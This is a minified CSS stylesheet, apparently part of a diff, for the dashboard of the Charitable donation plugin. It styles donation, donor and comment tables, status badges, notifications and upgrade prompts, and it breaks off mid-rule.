.charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-features .charitable-dashboard-v2-latest-updates-feature .charitable-dashboard-v2-latest-updates-checkmark{width:9px;height:7px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-button{background:rgb(90, 161, 82);border:none;border-radius:4px;padding:10px 20px;font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:700;font-size:13px;line-height:16px;letter-spacing:0px;text-align:center;vertical-align:middle;color:rgb(255, 255, 255);cursor:pointer;transition:all 0.2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-background .charitable-dashboard-v2-latest-updates-background-content .charitable-dashboard-v2-latest-updates-flex .charitable-dashboard-v2-latest-updates-content .charitable-dashboard-v2-latest-updates-button:hover{background:rgb(69, 123, 63)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer{height:70px;background:white;margin:0;display:flex;align-items:center;border-top:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content{display:flex;justify-content:flex-start;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link{display:flex;align-items:center;gap:8px;text-decoration:none;transition:gap 0.3s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link .charitable-dashboard-v2-blog-text{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0px;text-align:left;vertical-align:middle;color:rgb(43, 102, 209)}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link .charitable-dashboard-v2-arrow-icon{color:rgb(43, 102, 209);width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link:hover{gap:4px}.charitable-dashboard-v2-section .charitable-dashboard-v2-latest-updates-footer .charitable-dashboard-v2-latest-updates-footer-content .charitable-dashboard-v2-latest-updates-footer-left .charitable-dashboard-v2-blog-link:hover .charitable-dashboard-v2-blog-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts{margin-top:35px;margin-bottom:15px;padding:0 25px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row{display:flex;flex-direction:row;justify-content:space-between;align-items:center;margin-bottom:40px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row:last-child{margin-bottom:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left{width:282px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-timestamp{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:500;font-style:normal;font-size:13px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.6);margin-bottom:15px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title{margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title a{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:14px;line-height:170%;letter-spacing:-0.25px;color:rgba(25, 29, 45, 0.9);text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-left .charitable-dashboard-v2-blog-post-title a:hover{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-right{display:flex;align-items:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row .charitable-dashboard-v2-blog-post-right .charitable-dashboard-v2-blog-post-image-placeholder{width:106px;height:56px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display{display:flex;gap:10px;align-items:flex-start;margin-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title{display:flex;align-items:center;gap:10px;font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title::before{content:\"\";width:26px;height:26px;flex-shrink:0;background-image:url(\"data:image\u002Fsvg+xml,%3Csvg width='26' height='26' viewBox='0 0 26 26' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Ccircle cx='13' cy='13' r='13' fill='%23f56565'\u002F%3E%3Cpath d='M13 6.5L19.5 17.5H6.5L13 6.5Z' fill='white'\u002F%3E%3Cpath d='M13 10.5V14.5' stroke='%23f56565' stroke-width='2' stroke-linecap='round'\u002F%3E%3Ccircle cx='13' cy='17' r='1' fill='%23f56565'\u002F%3E%3C\u002Fsvg%3E\");background-repeat:no-repeat;background-position:center;background-size:contain}.charitable-dashboard-v2-section.no-update-alert .charitable-dashboard-v2-blog-posts{margin-top:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display{display:flex;gap:10px;align-items:flex-start;margin-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title{display:flex;align-items:center;gap:10px;font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:600;font-style:normal;font-size:15px;line-height:22px;letter-spacing:0px;color:rgba(25, 29, 45, 0.9);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-blog-posts .charitable-dashboard-v2-blog-post-row.error-display .charitable-dashboard-v2-blog-post-title::before{content:\"\";width:26px;height:26px;flex-shrink:0;background-image:url(\"data:image\u002Fsvg+xml,%3Csvg width='26' height='26' viewBox='0 0 26 26' fill='none' xmlns='http:\u002F\u002Fwww.w3.org\u002F2000\u002Fsvg'%3E%3Ccircle cx='13' cy='13' r='13' fill='%23f56565'\u002F%3E%3Cpath d='M13 6.5L19.5 17.5H6.5L13 6.5Z' fill='white'\u002F%3E%3Cpath d='M13 10.5V14.5' stroke='%23f56565' stroke-width='2' stroke-linecap='round'\u002F%3E%3Ccircle cx='13' cy='17' r='1' fill='%23f56565'\u002F%3E%3C\u002Fsvg%3E\");background-repeat:no-repeat;background-position:center;background-size:contain}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer{height:70px;background:white;margin:0;display:flex;align-items:center;border-top:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content{display:flex;justify-content:flex-start;align-items:center;width:100%;padding:0 30px}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link{display:flex;align-items:center;gap:8px;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link .charitable-dashboard-v2-addons-text{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:16px;letter-spacing:0px;text-align:left;vertical-align:middle;color:rgb(43, 102, 209)}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link .charitable-dashboard-v2-arrow-icon{color:rgb(43, 102, 209);width:16px;height:16px;flex-shrink:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-enhance-campaign-footer .charitable-dashboard-v2-enhance-campaign-footer-content .charitable-dashboard-v2-enhance-campaign-footer-left .charitable-dashboard-v2-addons-link:hover .charitable-dashboard-v2-addons-text{text-decoration:underline}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-title{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:700;font-style:normal;font-size:20px;line-height:33px;letter-spacing:0.01em;text-align:center;color:rgba(25, 29, 45, 0.8);margin:0;padding-top:10px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features{display:flex;gap:10px 10px;margin:30px 0;justify-content:center}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-column{flex:1;max-width:300px;display:flex;flex-direction:column;gap:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature{display:flex;align-items:flex-start;gap:12px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-checkmark{width:18px;height:18px;flex-shrink:0;margin-top:2px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-features .charitable-dashboard-v2-upgrade-feature .charitable-dashboard-v2-upgrade-feature-text{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:500;font-size:14px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);margin:0}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions{display:flex;flex-direction:column;align-items:center;gap:20px;margin-top:30px;padding-bottom:20px}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button{background:rgb(218, 144, 33);border:none;border-radius:4px;padding:22px 42px;font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:600;font-size:19px;line-height:100%;letter-spacing:0px;color:white;cursor:pointer;transition:background-color 0.2s ease;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-upgrade-button:hover{background:#d89447 !important;text-decoration:none}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link{font-family:Inter, -apple-system, BlinkMacSystemFont, \"Segoe UI\", Roboto, sans-serif;font-weight:600;font-size:14px;line-height:150%;letter-spacing:0px;text-align:center;text-decoration:underline;color:rgba(25, 29, 45, 0.5);transition:color 0.2s ease}.charitable-dashboard-v2-section .charitable-dashboard-v2-upgrade-actions .charitable-dashboard-v2-learn-more-link:hover{color:rgba(25, 29, 45, 0.7)}.charitable-dashboard-v2-table th:nth-child(1),.charitable-dashboard-v2-table td:nth-child(1){width:205px;padding-left:30px}.charitable-dashboard-v2-table th:nth-child(2),.charitable-dashboard-v2-table td:nth-child(2){width:120px}.charitable-dashboard-v2-table th:nth-child(3),.charitable-dashboard-v2-table td:nth-child(3){width:120px}.charitable-dashboard-v2-table th:nth-child(4),.charitable-dashboard-v2-table td:nth-child(4){width:auto}.charitable-dashboard-v2-table th:nth-child(5),.charitable-dashboard-v2-table td:nth-child(5){width:auto;text-align:center}.campaign-title{display:flex;align-items:center;gap:8px}.campaign-title a{font-family:Inter;font-weight:500;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0px;color:rgb(25, 29, 45);text-decoration:none}.campaign-title a:hover{color:rgb(76, 123, 207)}.charitable-dashboard-v2-table td:nth-child(2),.charitable-dashboard-v2-table td:nth-child(3){font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.status-badge{display:inline-block;padding:4px 12px;border-radius:12px;font-family:Inter;font-weight:500;font-size:12px;line-height:130%;color:rgba(25, 29, 45, 0.8)}.status-badge.status-active{background:rgba(76, 123, 207, 0.1);color:rgb(76, 123, 207)}.status-badge.status-unsuccessful{background:rgba(234, 78, 100, 0.1);color:rgb(234, 78, 100)}.status-badge.status-cancelled{background:rgba(153, 153, 153, 0.1);color:rgb(153, 153, 153)}.progress-circle{position:relative;display:inline-flex;align-items:center;justify-content:center;width:40px;height:40px;margin:0 auto}.progress-circle svg{position:absolute;top:0;left:0}.progress-text{font-family:Inter;font-weight:600;font-style:normal;font-size:12px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);z-index:1}.charitable-dashboard-v2-notifications{display:block;margin-top:20px;max-width:1172px;margin-left:auto;margin-right:auto;padding:0;position:relative;background:white;border:1px solid rgba(24, 36, 69, 0.1);border-radius:4px;box-shadow:0 3px 3px rgba(0, 0, 0, 0.05)}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar{position:absolute;top:12px;right:12px;display:flex;align-items:center;gap:8px;z-index:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation{position:static;top:auto;right:auto;display:flex;align-items:center;gap:2px;min-height:auto;padding:0}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation a{position:static;top:auto;font-size:24px;line-height:1;padding:2px 4px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-dashboard-notification-navigation .charitable-dashboard-notification-counter{font-size:13px;color:#666;white-space:nowrap;padding:0 2px;line-height:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{position:static;top:auto;right:auto}.charitable-dashboard-v2-notifications .charitable-dashboard-notification{margin:0;border:0;background:white;border-radius:0;box-shadow:none}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message{padding:15px 20px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-dashboard-notification-headline{margin:0 0 10px 0;font-size:16px;font-weight:600;color:#1d2327;display:flex;align-items:center;gap:6px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-type-icon{font-size:18px;width:18px;height:18px;line-height:1;flex-shrink:0}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message p{margin:0 0 10px 0;line-height:1.5}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message ul{margin:10px 0;padding-left:20px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message ul li{margin-bottom:5px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-cta-button{display:inline-block;padding:8px 16px;background-color:#5aa152;color:#fff;font-size:13px;font-weight:600;line-height:1.5;text-decoration:none;border-radius:4px;margin-top:5px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-message .charitable-notification-cta-button:hover{background-color:#4a8a44;color:#fff}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=notice] .charitable-notification-type-icon{color:#00a0d2}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=warning] .charitable-notification-type-icon{color:#ffb900}.charitable-dashboard-v2-notifications .charitable-dashboard-notification[data-notification-type=error] .charitable-notification-type-icon{color:#dc3232}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar{display:flex;justify-content:space-between;align-items:center;padding:10px 15px}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification{color:#666;text-decoration:none;font-size:18px;line-height:1}.charitable-dashboard-v2-notifications .charitable-dashboard-notification .charitable-dashboard-notification-bar .charitable-remove-dashboard-notification:hover{color:#000}.charitable-dashboard-v2-enhance-grid-icon{display:flex;align-items:center;justify-content:center}.charitable-dashboard-v2-table{width:100%;border-collapse:collapse}.charitable-dashboard-v2-table thead th{background:rgba(25, 29, 45, 0.02);font-family:Inter;font-weight:500;font-style:normal;font-size:13px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.5);padding:16px 12px;text-align:left;border-bottom:1px solid rgba(24, 36, 69, 0.1)}.charitable-dashboard-v2-table tbody td{padding:16px 12px;border-bottom:1px solid rgba(24, 36, 69, 0.05)}.charitable-dashboard-v2-table tbody tr:last-child td{border-bottom:none}.charitable-dashboard-v2-table-donations{margin-top:0}.charitable-dashboard-v2-table-donations th{background-color:rgb(248, 250, 252);border-bottom:1px solid rgb(226, 232, 240);padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:14px;line-height:140%;color:rgba(25, 29, 45, 0.8)}.charitable-dashboard-v2-table-donations th:last-child{text-align:right;padding:16px 35px}.charitable-dashboard-v2-table-donations th:first-child,.charitable-dashboard-v2-table-donations td:first-child{width:calc(100% - 120px) !important}.charitable-dashboard-v2-table-donations th:last-child,.charitable-dashboard-v2-table-donations td:last-child{width:auto !important}.charitable-dashboard-v2-table-donations tr{transition:background-color 0.2s ease}.charitable-dashboard-v2-table-donations tr:hover{background-color:rgba(248, 250, 252, 0.8)}.charitable-dashboard-v2-table tr{transition:background-color 0.2s ease}.charitable-dashboard-v2-table tr:hover{background-color:rgba(248, 250, 252, 0.8)}.charitable-dashboard-v2-table-donations td{padding:20px;border-bottom:1px solid rgb(226, 232, 240);vertical-align:top}.charitable-dashboard-v2-table-donations td:last-child{padding-right:30px;text-align:right;vertical-align:middle}.donation-details{display:flex;flex-direction:column;gap:8px}.donation-header{display:grid;grid-template-columns:1fr 1fr;grid-template-rows:auto auto;gap:8px 20px;align-items:start;text-align:left}.donation-name{font-family:Inter;font-weight:500;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0px;color:rgb(25, 29, 45)}.donation-name a{color:rgb(25, 29, 45);text-decoration:none;transition:color 0.2s ease;font-size:11px;font-weight:400}.donation-name a:hover{color:rgb(43, 102, 209);text-decoration:underline}.donation-timestamp{font-weight:200;font-size:11px;margin-top:4px;margin-left:0}.donation-amount{font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.donation-method{font-family:Inter;font-weight:500;font-style:normal;font-size:14px;line-height:100%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.donation-amount strong,.donation-method strong{font-weight:700}.donation-method strong,.donation-amount strong{color:rgba(25, 29, 45, 0.8)}.donation-method-stripe{color:#645aff !important}.charitable-dashboard-v2-table-comments{margin-top:0}.charitable-dashboard-v2-table-donors{margin-top:0}.charitable-dashboard-v2-table-donors th{background-color:rgb(248, 250, 252);border-bottom:1px solid rgb(226, 232, 240);padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:13px;line-height:16px;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.charitable-dashboard-v2-table-donors td{padding:16px 20px;border-bottom:1px solid rgba(226, 232, 240, 0.5);vertical-align:middle}.donor-avatar img{border-radius:50%;width:40px;height:40px;object-fit:cover}.donor-details{display:flex;flex-direction:column;gap:4px}.donor-name{font-family:Inter;font-weight:600;font-size:14px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9)}.donor-email{font-family:Inter;font-weight:400;font-size:13px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.7)}.donor-amount{font-family:Inter;font-weight:600;font-size:14px;line-height:160%;letter-spacing:0px;color:rgb(25, 29, 45)}.donor-badge{display:inline-flex;align-items:center;padding:4px 12px;border-radius:12px;font-family:Inter;font-weight:500;font-size:12px;line-height:16px;letter-spacing:0px;text-align:center}.donor-badge.recurring{background-color:rgba(59, 130, 246, 0.1);color:rgb(59, 130, 246)}.donor-badge.multiple{background-color:rgba(16, 185, 129, 0.1);color:rgb(16, 185, 129)}.donor-badge.one-time{background-color:rgba(245, 158, 11, 0.1);color:rgb(245, 158, 11)}.charitable-dashboard-v2-table.charitable-dashboard-v2-table-donors th:nth-child(1),.charitable-dashboard-v2-table.charitable-dashboard-v2-table-donors td:nth-child(1){width:30px !important;padding-left:30px}.charitable-dashboard-top-campaigns .charitable-dashboard-v2-table th:last-child,.charitable-dashboard-top-campaigns .charitable-dashboard-v2-table td:last-child{padding-right:30px}.charitable-dashboard-v2-tab-nav-item:focus{outline:none}.charitable-dashboard-v2-section-header .charitable-dashboard-v2-tab-nav-item:focus{outline:none}.charitable-dashboard-v2-quick-access-items a{position:relative;text-decoration:none !important}.charitable-dashboard-v2-quick-access-items a::before{content:\"\";position:absolute;width:100%;height:2px;border-radius:2px;background-color:#18272F;bottom:-4px;left:0;transform-origin:right;transform:scaleX(0);transition:transform 0.3s ease-in-out}.charitable-dashboard-v2-quick-access-items a:hover::before{transform-origin:left;transform:scaleX(1)}.charitable-dashboard-v2-rate-link{display:flex !important;align-items:center !important;gap:8px !important;transition:gap 0.3s ease !important;text-decoration:none !important}.charitable-dashboard-v2-rate-link:hover{gap:4px !important;text-decoration:none !important}.charitable-dashboard-v2-rate-link .charitable-dashboard-v2-rate-text,.charitable-dashboard-v2-rate-link .charitable-dashboard-v2-arrow-icon{display:inline-block}.charitable-dashboard-v2-addons-link{display:flex !important;align-items:center !important;gap:8px !important;transition:gap 0.3s ease !important;text-decoration:none !important}.charitable-dashboard-v2-addons-link:hover{gap:4px !important;text-decoration:none !important}.charitable-dashboard-v2-addons-link .charitable-dashboard-v2-addons-text,.charitable-dashboard-v2-addons-link .charitable-dashboard-v2-arrow-icon{display:inline-block}.charitable-dashboard-v2-table-container{max-height:400px;overflow-y:auto}.charitable-dashboard-v2-table-comments th{background-color:rgb(248, 250, 252);border-bottom:1px solid rgb(226, 232, 240);padding:16px 20px;text-align:left;font-family:Inter;font-weight:600;font-size:14px;line-height:140%;color:rgba(25, 29, 45, 0.8)}.charitable-dashboard-v2-table-comments th:last-child{text-align:right;padding:16px 35px}.charitable-dashboard-v2-table-comments th:first-child,.charitable-dashboard-v2-table-comments td:first-child{width:calc(100% - 120px) !important}.charitable-dashboard-v2-table-comments th:last-child,.charitable-dashboard-v2-table-comments td:last-child{width:auto !important}.charitable-dashboard-v2-table-comments tr{transition:background-color 0.2s ease}.charitable-dashboard-v2-table-comments tr:hover{background-color:rgba(248, 250, 252, 0.8)}.charitable-dashboard-v2-table-comments td{padding:20px;border-bottom:1px solid rgb(226, 232, 240);vertical-align:top}.charitable-dashboard-v2-table-comments td:last-child{padding-right:30px;text-align:right;vertical-align:middle}.comment-details{display:flex;flex-direction:column;gap:8px}.comment-header{display:flex;flex-direction:column;gap:8px;align-items:flex-start;text-align:left}.comment-name{font-family:Inter;font-weight:600;font-style:normal;font-size:14px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.9)}.comment-text{font-family:Inter;font-weight:500;font-size:13px;line-height:150%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8)}.comment-actions{display:flex;align-items:center;justify-content:end;gap:10px}.comment-action{display:flex;align-items:center;gap:4px;font-family:Inter;font-weight:500;font-size:13px;line-height:16px;letter-spacing:0px;vertical-align:middle;text-decoration:underline;text-decoration-style:solid;text-decoration-offset:0%;text-decoration-thickness:0%;color:rgba(25, 29, 45, 0.7);transition:color 0.2s ease}.comment-action:hover{color:rgba(25, 29, 45, 0.9)}.comment-action.approve{color:rgba(25, 29, 45, 0.7)}.comment-action.approve:hover{color:rgba(25, 29, 45, 0.9)}.comment-action.delete{color:rgba(25, 29, 45, 0.7)}.comment-action.delete:hover{color:rgba(25, 29, 45, 0.9)}.comment-action-separator{color:rgba(25, 29, 45, 0.3);font-weight:400;font-size:11px}.comment-status-approved{color:rgb(15, 139, 0);font-family:Inter;font-weight:500;font-size:13px;line-height:16px;letter-spacing:0px}.status-badge{display:inline-flex;align-items:center;padding:6px 12px;border-radius:6px;font-family:Inter;font-weight:500;font-style:normal;font-size:13px;line-height:130%;letter-spacing:0px;text-align:center;white-space:nowrap}.status-paid,.status-active,.status-approved{background-color:#eafbe8;color:rgb(15, 139, 0)}.charitable-dashboard-v2-placeholder{display:flex;flex-direction:column;align-items:center;justify-content:center;padding:60px 20px;text-align:center}.charitable-dashboard-v2-placeholder-icon{margin-bottom:24px}.charitable-dashboard-v2-placeholder-title{font-family:Inter;font-weight:600;font-style:normal;font-size:20px;line-height:130%;letter-spacing:0px;color:rgba(25, 29, 45, 0.8);margin:0 0 12px 0}.charitable-dashboard-v2-placeholder-description{font-family:Inter;font-weight:400;font-style:normal;font-size:15px;line-height:160%;letter-spacing:0px;color:rgba(25, 29, 45, 0.6);margin:0;max-width:400px}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button{display:inline-block;padding:10px 20px;background:rgb(218, 144, 33);color:white;text-decoration:none;border-radius:4px;font-weight:600;font-size:14px;transition:background-color 0.2s ease;margin-top:10px;border:0}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button:hover{background:rgb(196, 130, 30);color:white;text-decoration:none}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button:disabled{background:#9CA3AF;cursor:not-allowed}.charitable-dashboard-v2-empty-state-content .charitable-dashboard-v2-button .button-loading{display:inline-flex;align-items:center;gap:8px}\n\\ No newline at end of file\n+@import url(https:\u002F\u002Ffonts.googleapis.com\u002Fcss2?family=Inter:wght@400;500;600;800&display=swap);.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav{font-family:Inter,sans-serif!important;min-height:30px;height:auto;margin-top:0;margin-bottom:0}.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav .alignleft,.charitable_page_charitable-dashboard #charitable-dashboard-v2 .tablenav .alignright{margin-top:10px;margin-bottom:10px}.charitable-dashboard-v2-header{margin-top:40px;margin-bottom:40px}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content{display:flex;justify-content:space-between;align-items:center;max-width:1172px;margin:0 auto}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-left h1{margin:0;color:#303442;font-size:24px;font-weight:600;line-height:1.2}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-right .charitable-button{background-color:#5aa152;border-color:#5aa152;color:#fff;padding:8px 16px;font-weight:500}.charitable-dashboard-v2-header .charitable-dashboard-v2-header-content .charitable-dashboard-v2-header-right .charitable-button:hover{background-color:#43833b;border-color:#43833b}.charitable-dashboard-v2-header-bar{display:flex;justify-content:space-between;align-items:center;width:calc(100% - 60px);height:80px}.charitable-dashboard-v2-header-bar .charitable-dashboard-v2-header-bar-left{display:flex;align-items:center}.charitable-dashboard-v2-header-bar .charitable-dashboard-v2-header-bar-right{display:flex;align-items:center}.charitable-dashboard-v2-header-bar-chart{width:100%;height:300px;margin-top:20px}.charitable-dashboard-v2-header-bar-chart .charitable-headline-graph{width:100%;height:100%}.charitable-dashboard-v2-header-bar-chart .charitable-headline-graph .apexcharts-canvas{margin:0 auto}#time-period-filter{font-size:13px;line-height:29px;font-weight:500;max-width:none;padding:5px 30px 5px 12px;background-color:#f9f9fa;color:#52545f;border:1px solid #e4e4e7;border-radius:4px;height:40px;font-family:Inter,sans-serif}.charitable-dashboard-v2-download-button{font-family:Inter;font-weight:600;font-style:normal;font-size:13px;line-height:100%;letter-spacing:0;color:rgba(14,33,33,.7);background:#fff;border:1px solid rgba(14,33,33,.14);border-radius:4px;padding:10px 16px;height:40px;cursor:pointer;transition:all .2s ease;display:flex;align-items:center;gap:8px}.charitable-dashboard-v2-download-button:hover{background:rgba(14,33,33,.02);border-color:rgba(14,33,33,.2)}.charitable-dashboard-v2-download-icon{width:15px;height:14px;color:rgba(14,33,33,.7)}.charitable-dashboard-v2-print-button{display:flex;align-items:center;justify-content:center;width:40px;height:40px;padding:0;background:#fff;border:1px solid #e4e4e7;border-radius:4px;cursor:pointer;transition:all .2s ease}.charitable-dashboard-v2-print-button:hover{background:#f9f9fa;border-color:rgba(14,33,33,.2)}.charitable-dashboard-v2-print-button:focus{outline:0;box-shadow:0 0 0 1px #e4e4e7}.charitable-dashboard-v2-print-button .charitable-dashboard-v2-print-icon{display:block;width:16px;height:16px}#charitable-dashboard-v2-print{display:flex;align-items:center;margin:0;padding:0}.charitable-dashboard-v2-stats-row-section{padding:0 0 20px 0!important}.charitable-dashboard-v2-stats-row-section .charitable-dashboard-v2-header-bar{padding:0 30px}.charitable-dashboard-v2-stats-row{display:flex;width:100%;border-top:1px solid 